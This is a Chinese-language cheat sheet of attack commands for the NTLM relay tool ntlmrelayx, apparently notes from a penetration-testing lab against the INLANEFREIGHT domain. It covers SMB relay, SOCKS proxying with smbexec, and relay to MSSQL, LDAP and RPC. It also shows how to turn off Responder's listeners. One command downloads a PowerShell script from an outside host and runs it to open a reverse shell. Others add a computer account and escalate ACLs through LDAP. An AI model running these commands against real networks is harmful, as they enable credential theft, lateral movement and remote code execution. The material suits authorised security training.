ntlmrelayx
1. 基本使用
26-tools/ntlmrelayx 提供了 -t 和 -tf 选项用于指定中继目标;
- -t 指定单个中继目标,而 -tf 则指定包含多个中继目标的文件。
- 如果省略 -t / -tf , ntlmrelayx 会将 NTLM 身份验证中继回发起主机,
- 这种攻击称为 NTLM self-relay 攻击(已修复,但在一些老机器上还会存在此问题)。
- -smb2support 选项为需要的主机提供 SMBv2 支持:
1.1. 执行命令(反向shell)
ntlmrelayx.py -tf relayTargets.txt -smb2support -c "powershell -c IEX(New-Object NET.WebClient).DownloadString('http://172.16.117.30:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.117.30 -Port 7331"
1.2. 多重中继
# 仅中继第一个收到的 NTLM 身份验证连接(1:1 关系)
ntlmrelayx.py -t smb://172.16.117.50
# 中继所有属于特定用户 PETER 的连接(M:M 关系)
ntlmrelayx.py -t smb://INLANEFREIGHT\\PETER@172.16.117.50
# 使用 -tf 选项,即使是通用目标也会中继所有收到的连接(M:M 关系)
ntlmrelayx.py -tf relayTarget.txt
# 针对特定用户但仅滥用其第一个成功捕获的连接
ntlmrelayx.py -t smb://INLANEFREIGHT\\PETER@172.16.117.50 --no-multirelay
1.3. socks代理
ntlmrelayx.py -tf relayTargets.txt -smb2support -socks
ntlmrelayx> socks
Protocol Target Username AdminStatus Port
-------- ------------- -------------------- ----------- ----
SMB 172.16.117.50 INLANEFREIGHT/RMONTY FALSE 445
SMB 172.16.117.50 INLANEFREIGHT/PETER TRUE 445 SMB 172.16.117.50 INLANEFREIGHT/NPORTS FALSE 445
SMB 172.16.117.60 INLANEFREIGHT/RMONTY FALSE 445
SMB 172.16.117.60 INLANEFREIGHT/PETER FALSE 445
SMB 172.16.117.60 INLANEFREIGHT/NPORTS FALSE 445
proxychains4 -q smbexec.py INLANEFREIGHT/PETER@172.16.117.50 -no-pass
1.4. 交互式shell
ntlmrelayx.py -tf relayTargets.txt -smb2support -i
2. 跨协议中继
2.1. MSSQL
ntlmrelayx.py -t mssql://172.16.117.60 -smb2support -socks
proxychains -q mssqlclient.py INLANEFREIGHT/nports@172.16.117.60 -windows-auth -no-pass
#直接执行命令
ntlmrelayx.py -t mssql://INLANEFREIGHT\\NPORTS@172.16.117.60 -smb2support -q "SELECT name FROM sys.databases;"
2.2. LDAP
#ldap dump
ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --lootdir ldap_dump
#添加计算机账户,需要bypass 会话签名
ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --add-computer 'plaintext$'
#滥用ACL
ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --escalate-user 'plaintext$' --no-dump -debug
2.3. HTTP
2.4. RPC
可用于 NTLM 中继的 RPC 协议非常有限,典型的有MS-TSCH(计划任务)和 MS-ICPR(证书申请)。
例如,利用 ntlmrelayx 向 TSCH 协议中继 NTLM 认证,可以直接获取 Microsoft Exchange 服务器的远程命令执行权限
2.5. ALL
sed -i '4,18s/= On/= Off/g' Responder.conf
ntlmrelayx.py -tf relayTargets.txt -smb2support -socks
然后会发现建立了特别多的会话
ntlmrelayx> socks
3. 与Responder的冲突
因为26-tools/ntlmrelayx与Responder存在一些端口协议冲突,且我们这里需要26-tools/ntlmrelayx帮我们中继SMB和HTTP到目标服务器上,所以我们需要先修改一下Responder的配置文件,把SMB和HTTP改成Off,确保Responder就不会监听它导致端口冲突
vim /usr/share/responder/Responder.conf
中继其他协议就关闭其他的协议
